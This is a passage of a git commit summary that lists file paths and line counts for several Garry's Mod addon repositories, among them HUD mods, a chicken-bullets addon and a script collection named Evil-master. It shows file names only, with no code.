.../env_headcrabcanister_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/env_laser_killicon.vmt | 6 + .../killicons/env_laser_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/func_door_killicon.vmt | 6 + .../killicons/func_door_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/func_physbox_killicon.vmt | 6 + .../killicons/func_physbox_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/grenade_spit_killicon.vmt | 6 + .../killicons/grenade_spit_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/hunter_flechette_killicon.vmt | 6 + .../killicons/hunter_flechette_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/npc_antlion_killicon.vmt | 6 + .../killicons/npc_antlion_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/npc_antlionguard_killicon.vmt | 6 + .../killicons/npc_antlionguard_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/npc_barnacle_killicon.vmt | 6 + .../killicons/npc_barnacle_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/npc_manhack_killicon.vmt | 6 + .../killicons/npc_manhack_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/npc_rollermine_killicon.vmt | 6 + .../killicons/npc_rollermine_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/npc_strider_cannon_killicon.vmt | 6 + .../killicons/npc_strider_cannon_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/npc_strider_gun_killicon.vmt | 6 + .../killicons/npc_strider_gun_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/point_hurt_killicon.vmt | 6 + .../killicons/point_hurt_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/prop_ragdoll_killicon.vmt | 6 + .../killicons/prop_ragdoll_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/sent_default_killicon.vmt | 6 + .../killicons/sent_default_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/sent_nuke_killicon.vmt | 6 + .../killicons/sent_nuke_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/spazzernade_killicon.vmt | 6 + .../killicons/spazzernade_killicon.vtf | Bin 0 -> 5696 bytes .../weapon_striderbuster_killicon.vmt | 6 + .../weapon_striderbuster_killicon.vtf | Bin 0 -> 5696 bytes .../materials/killicons/weldball_killicon.vmt | 6 + .../materials/killicons/weldball_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/worldspawn_killicon.vmt | 6 + .../killicons/worldspawn_killicon.vtf | Bin 0 -> 5696 bytes .../HeX's Scripts 10/materials/mat1.vmt | 9 + .../HeX's Scripts 10/materials/mat2.vmt | 9 + .../materials/vgui/notices/oldcleanup.vmt | 8 + .../materials/vgui/notices/oldcleanup.vtf | Bin 0 -> 21924 bytes .../materials/vgui/notices/olderror.vmt | 8 + .../materials/vgui/notices/olderror.vtf | Bin 0 -> 16464 bytes .../materials/vgui/notices/oldgeneric.vmt | 8 + .../materials/vgui/notices/oldgeneric.vtf | Bin 0 -> 21924 bytes .../materials/vgui/notices/oldhint.vmt | 8 + .../materials/vgui/notices/oldhint.vtf | Bin 0 -> 22052 bytes .../materials/vgui/notices/oldundo.vmt | 8 + .../materials/vgui/notices/oldundo.vtf | Bin 0 -> 21924 bytes .../materials/xray/living.vmt | 9 + .../HeX's Scripts 10/materials/xray/prop.vmt | 6 + .../HeX's Scripts 10/particles/burning_fx.pcf | Bin 0 -> 20363 bytes .../particles/chappi_explosion.pcf | Bin 0 -> 39226 bytes .../particles/particles_manifest.txt | 5 + .../particles/vman_explosion.pcf | Bin 0 -> 54383 bytes .../addons/HeX's Scripts 10/sound/talk.wav | Bin 0 -> 2504 bytes .../lua/custom_menu/SN3/sn3_base_cl.lua | 97 + .../custom_menu/SN3/sn3_base_gameevents.lua | 50 + .../lua/custom_menu/SN3/sn3_base_incoming.lua | 68 + .../custom_menu/SN3/sn3_base_netmessages.lua | 866 ++ .../lua/custom_menu/SN3/sn3_base_outgoing.lua | 77 + .../lua/custom_menu/ml_B_PlyMeta.lua | 209 + .../garrysmod/lua/custom_menu/ml_B_Util.lua | 56 + .../lua/custom_menu/ml_Disconnect2.lua | 108 + .../lua/custom_menu/ml_DownloadFilter.lua | 237 + .../garrysmod/lua/custom_menu/ml_Find.lua | 136 + .../lua/custom_menu/ml_H_AutoClicker.lua | 1 + .../lua/custom_menu/ml_H_DeReplicate2.lua | 112 + .../garrysmod/lua/custom_menu/ml_H_Fun.lua | 59 + .../garrysmod/lua/custom_menu/ml_H_OhDear.lua | 224 + .../garrysmod/lua/custom_menu/ml_H_SCrash.lua | 32 + .../lua/custom_menu/ml_H_SpawnMe.lua | 71 + .../garrysmod/lua/custom_menu/ml_InfoBar.lua | 15 + .../lua/custom_menu/ml_LoadScreen.lua | 116 + .../garrysmod/lua/custom_menu/ml_LogoText.lua | 35 + .../garrysmod/lua/custom_menu/ml_M2C.lua | 14 + .../garrysmod/lua/custom_menu/ml_MapTest.lua | 434 + .../lua/custom_menu/ml_NoNotification.lua | 16 + .../garrysmod/lua/custom_menu/ml_Settings.lua | 60 + .../garrysmod/lua/custom_menu/ml_SlowShot.lua | 26 + .../garrysmod/lua/custom_menu/ml_Snow.lua | 77 + .../garrysmod/lua/custom_menu/ml_Spew.lua | 34 + .../garrysmod/lua/custom_menu/ml_Sprays.lua | 96 + .../garrysmod/lua/custom_menu/ml_Status2.lua | 121 + .../garrysmod/lua/custom_menu/ml_Toggle.lua | 31 + .../original_loading/download_type.lua | 113 + .../original_loading/downloads.lua | 186 + .../custom_menu/original_loading/progress.lua | 75 + .../custom_menu/original_loading/runner.lua | 85 + .../custom_menu/original_loading/worker.lua | 25 + .../HeXs_Scripts/garrysmod/lua/lua_folder.ico | Bin 0 -> 52062 bytes .../HeXs_Scripts/garrysmod/lua/m2c/m2_HeX.lua | 35 + .../lua/menu_plugins/CustomMenuInc.lua | 106 + Repos/Evil-master/v12/HeXs_Scripts/hex.cfg | 30 + Repos/HeXs_DepthHUD-master/Desktop.ini | 3 + Repos/HeXs_DepthHUD-master/addon.txt | 20 + .../data/depthhud_inline.txt | 2 + Repos/HeXs_DepthHUD-master/dhinline.cfg | 77 + Repos/HeXs_DepthHUD-master/icon.ico | Bin 0 -> 4286 bytes Repos/HeXs_DepthHUD-master/icon.tga | Bin 0 -> 4140 bytes Repos/HeXs_DepthHUD-master/lua/CtrlColor.lua | 105 + .../HeXs_DepthHUD-master/lua/DMultiChoice.lua | 215 + Repos/HeXs_DepthHUD-master/lua/DSysButton.lua | 84 + Repos/HeXs_DepthHUD-master/lua/DhCheckPos.lua | 143 + .../lua/autorun/client/depthhud_inline.lua | 932 ++ .../lua/cl_dhinline_element.lua | 199 + .../lua/cl_dhinline_elementpanel.lua | 371 + .../lua/control_presets.lua | 164 + .../lua/depthhud_inline_element/ammo.lua | 96 + .../lua/depthhud_inline_element/ammo_sec.lua | 47 + .../lua/depthhud_inline_element/armor.lua | 83 + .../lua/depthhud_inline_element/clock_12.lua | 22 + .../lua/depthhud_inline_element/clock_24.lua | 22 + .../lua/depthhud_inline_element/compass.lua | 124 + .../crosshair_linebow.lua | 65 + .../lua/depthhud_inline_element/framerate.lua | 48 + .../framerate_fast.lua | 72 + .../lua/depthhud_inline_element/health.lua | 90 + .../depthhud_inline_element/info_target.lua | 155 + .../lua/depthhud_inline_element/ping.lua | 103 + .../lua/depthhud_inline_element/team.lua | 73 + .../depthhud_inline_element/vehiclespeed.lua | 57 + .../vehiclespeed_kmh.lua | 57 + .../lua/depthhud_inline_element/witnesses.lua | 131 + .../z_updatereminder.lua | 139 + .../lua/preset_editor.lua | 217 + .../materials/depthhud/X_CircleSolid.vmt | 11 + .../materials/depthhud/circle.vtf | Bin 0 -> 87616 bytes .../materials/depthhud/linebow_crosshair.vmt | 8 + .../materials/depthhud/linebow_crosshair.vtf | Bin 0 -> 22080 bytes .../resource/fonts/DIN.TTF | Bin 0 -> 28956 bytes .../resource/fonts/DINMED.TTF | Bin 0 -> 28944 bytes .../dhinline_style/black and white.txt | 15 + .../presets/dhinline_style/shiny default.txt | 15 + .../settings/presets/dhinline_style/xray.txt | 15 + Repos/HeXs_SaitoHUD-master/Desktop.ini | 3 + Repos/HeXs_SaitoHUD-master/addon.txt | 9 + .../data/saitohud/docs.txt | 905 ++ .../data/saitohud/e2_std_funcs.txt | 1697 +++ .../data/saitohud/friends.txt | 0 .../saitohud/resource_browser/sounds/css.txt | 1169 +++ .../resource_browser/sounds/hl2ep1.txt | 3142 ++++++ .../resource_browser/sounds/hl2ep2.txt | 644 ++ .../resource_browser/sounds/portal.txt | 199 + .../resource_browser/sounds/source.txt | 5514 ++++++++++ .../saitohud/resource_browser/sounds/tf2.txt | 3499 +++++++ .../data/saitohud/sandbox/menu.txt | 9 + Repos/HeXs_SaitoHUD-master/defaultlogo.ico | Bin 0 -> 10134 bytes .../lua/autorun/client/saitohud_init.lua | 12 + .../lua/saitohud/concmd.lua | 219 + .../lua/saitohud/filters.lua | 351 + .../lua/saitohud/friends.lua | 109 + .../lua/saitohud/functions.lua | 457 + .../lua/saitohud/geom.lua | 205 + .../lua/saitohud/init.lua | 126 + .../lua/saitohud/modules/calculator.lua | 527 + .../lua/saitohud/modules/e2_extensions.lua | 279 + .../lua/saitohud/modules/entity_info.lua | 47 + .../lua/saitohud/modules/geom.lua | 220 + .../lua/saitohud/modules/hook_manager.lua | 142 + .../lua/saitohud/modules/listgest.lua | 144 + .../lua/saitohud/modules/measure.lua | 478 + .../lua/saitohud/modules/overlays.lua | 245 + .../lua/saitohud/modules/panel.lua | 621 ++ .../lua/saitohud/modules/player_tags.lua | 221 + .../lua/saitohud/modules/resbrowser.lua | 241 + .../lua/saitohud/modules/sampling.lua | 441 + .../lua/saitohud/modules/sandbox.lua | 91 + .../lua/saitohud/modules/spectate.lua | 207 + .../lua/saitohud/modules/stranded.lua | 304 + .../lua/saitohud/modules/survey.lua | 284 + .../lua/saitohud/modules/umsg.lua | 162 + .../lua/saitohud/modules/util.lua | 161 + .../lua/saitohud/modules/winamp.rar | Bin 0 -> 1224 bytes .../lua/saitohud/overlays.lua | 158 + .../lua/saitohud/saitohud.lua | 209 + .../lua/saitohud/vgui/DCustomListView.lua | 55 + .../saitohud/vgui/DListView_CheckboxLine.lua | 66 + 670 files changed, 72822 insertions(+) create mode 100644 Repos/Chicken_Bullets-master/.gitattributes create mode 100644 Repos/Chicken_Bullets-master/README.md create mode 100644 Repos/Chicken_Bullets-master/addon.txt create mode 100644 Repos/Chicken_Bullets-master/lua/autorun/client/cl_ChickenBullets.lua create mode 100644 Repos/Chicken_Bullets-master/lua/autorun/server/sv_ChickenBullets.lua create mode 100644 Repos/Chicken_Bullets-master/lua/effects/chicken_death/init.lua create mode 100644 Repos/Chicken_Bullets-master/lua/effects/chicken_pain/init.lua create mode 100644 Repos/Chicken_Bullets-master/lua/effects/egg_break/init.lua create mode 100644 Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/cl_init.lua create mode 100644 Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/init.lua create mode 100644 Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/shared.lua create mode 100644 Repos/Chicken_Bullets-master/materials/killicons/chicken_bullet.vmt create mode 100644 Repos/Chicken_Bullets-master/materials/killicons/chicken_bullet.vtf create mode 100644 Repos/Chicken_Bullets-master/materials/models/lduke/chicken/chicken2.vmt create mode 100644 Repos/Chicken_Bullets-master/materials/models/lduke/chicken/chicken2.vtf create mode 100644 Repos/Chicken_Bullets-master/materials/particles/feather.vmt create mode 100644 Repos/Chicken_Bullets-master/materials/particles/feather.vtf create mode 100644 Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.dx80.vtx create mode 100644 Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.dx90.vtx create mode 100644 Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.mdl create mode 100644 Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.phy create mode 100644 Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.sw.vtx create mode 100644 Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.vvd create mode 100644 Repos/Chicken_Bullets-master/sound/chicken/alert.wav create mode 100644 Repos/Chicken_Bullets-master/sound/chicken/attack1.wav create mode 100644 Repos/Chicken_Bullets-master/sound/chicken/attack2.wav create mode 100644 Repos/Chicken_Bullets-master/sound/chicken/chicken_tube.mp3 create mode 100644 Repos/Chicken_Bullets-master/sound/chicken/death.wav create mode 100644 Repos/Chicken_Bullets-master/sound/chicken/idle1.wav create mode 100644 Repos/Chicken_Bullets-master/sound/chicken/idle2.wav create mode 100644 Repos/Chicken_Bullets-master/sound/chicken/idle3.wav create mode 100644 Repos/Chicken_Bullets-master/sound/chicken/pain1.wav create mode 100644 Repos/Chicken_Bullets-master/sound/chicken/pain2.wav create mode 100644 Repos/Chicken_Bullets-master/sound/chicken/pain3.wav create mode 100644 Repos/Evil-master/.gitattributes create mode 100644 Repos/Evil-master/.gitignore create mode 100644 Repos/Evil-master/v12/DeX/DevStuff/dex_rcon.lua create mode 100644 Repos/Evil-master/v12/DeX/README.txt create mode 100644 Repos/Evil-master/v12/DeX/bubble.lua create mode 100644 Repos/Evil-master/v12/DeX/chatfilter.lua create mode 100644 Repos/Evil-master/v12/DeX/dex.lua create mode 100644 Repos/Evil-master/v12/DeX/dex_autorun.lua create mode 100644 Repos/Evil-master/v12/DeX/ev.lua create mode 100644 Repos/Evil-master/v12/DeX/fixers.lua create mode 100644 Repos/Evil-master/v12/DeX/fpp.lua create mode 100644 Repos/Evil-master/v12/DeX/fun.lua create mode 100644 Repos/Evil-master/v12/DeX/gpio.lua create mode 100644 Repos/Evil-master/v12/DeX/hx_SkidList.lua create mode 100644 Repos/Evil-master/v12/DeX/meta.lua create mode 100644 Repos/Evil-master/v12/DeX/skid.lua create mode 100644 Repos/Evil-master/v12/DeX/sv_f_Crap.lua create mode 100644 Repos/Evil-master/v12/DeX/sv_f_List.lua create mode 100644 Repos/Evil-master/v12/DeX/ulx.lua create mode 100644 Repos/Evil-master/v12/DeX/umt.lua create mode 100644 Repos/Evil-master/v12/DeX/useful.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/hex_steam.ico create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension(1).lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HeXPlayerSpawn.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/NailModelFix.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/PlayerRings.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/RemoveSpawnlists.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/UploadChair.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/ballspwans.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_AR2Bounce.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ChatFilter.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin1.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ErrorCleanse.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_MatOrganiser.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_PissOff.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_Walls.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_hex_worldspawnfix_OLD.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/getmodel.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/hex_noviewpunch.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/luasearch.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/o_NewXrayVision.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/worldspawnfix.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_ACWarning.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_FixEnts.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_fixmdl.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/LoadDeX2.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/NoBans.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/RunRun.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_CheckFilter.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_DermaSkin.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_DeReplicate.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_NotMe.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Logo.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_Movetest.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_B_MenuRun.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Clock.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Find.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_DeReplicate_cvar2.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_Disconnect.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoDS.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_H_NoWay.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_NewInfo.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SRVLog.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_SVNCheck.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_StartMenu.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Test2.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/playerrespawn.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sh_GetHeX.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_SpawnTheFuckingBarrels.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_cleanup.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_loadsave.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CMIconsole.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CustomMenuInc hex/CustomMenuInc.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame_CloseButton.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Add.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Detour.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/LogSkidEncounter.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/PoopScript.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ReadFromAddons.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/New Lua Script.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/SRVLog.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/poo2.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/rdx.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/T_toggle_script.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/TakeExpression.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/bhop.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cHFUwXNe.txt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cansee.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_RCL.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_SRVLog.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_ki.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_killicons.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/!.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/DeathNotice.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/Deathfix.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/dermaskin.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sh_oldnoclip.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/skins.rar create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sv_Dev.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/test.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cmi addons.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNS.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNSo.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/New Lua Script.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/waffle.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/dereplicate2 src.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/detours.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/en stealer.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/extras.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/flap.txt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/hex_nospread/HeXNS.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/lllll.txt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml runstring.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_B_RFT.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate old.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_H_DeReplicate replicator.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_HeX.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_base_ColorConsole.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_downloadfilter old.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/nSkidCheck.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/norecoil/norecoil.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi color.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi load.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old ml.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old/ml_downloadfilter.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/ammo.cfg create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/barrels.cfg create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/bigbadaboom.cfg create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/build.cfg create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/dm.cfg create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/firstcfg.cfg create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/health.cfg create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/lol.cfg create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/melon.cfg create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/nuke.cfg create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/rapid.cfg create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/1.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/111.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/ml_oldmenu.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldmenu/singleplayer.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldspeedhack.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sh_GetHeX.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/sqlite.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/stonedpotatoes skiddies.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/witnesses.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/README.md create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/KIDA.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/MAIN.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/data/proxi.txt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/defaultlogo.ico create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/icon.tga create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/info.txt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/ProxiCollapsibleCheckbox.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_changelog.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_ctrlcolor.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_cvar_custom.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menu.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menuutils.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_util.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/autorun/client/cl_proxi_autorun.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cd_proxi_includelist.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_base.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_beacons.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_cloudloader.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_dup_virtualscene.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_menu.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_ph_simmap.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_preforce.lua create mode 100644 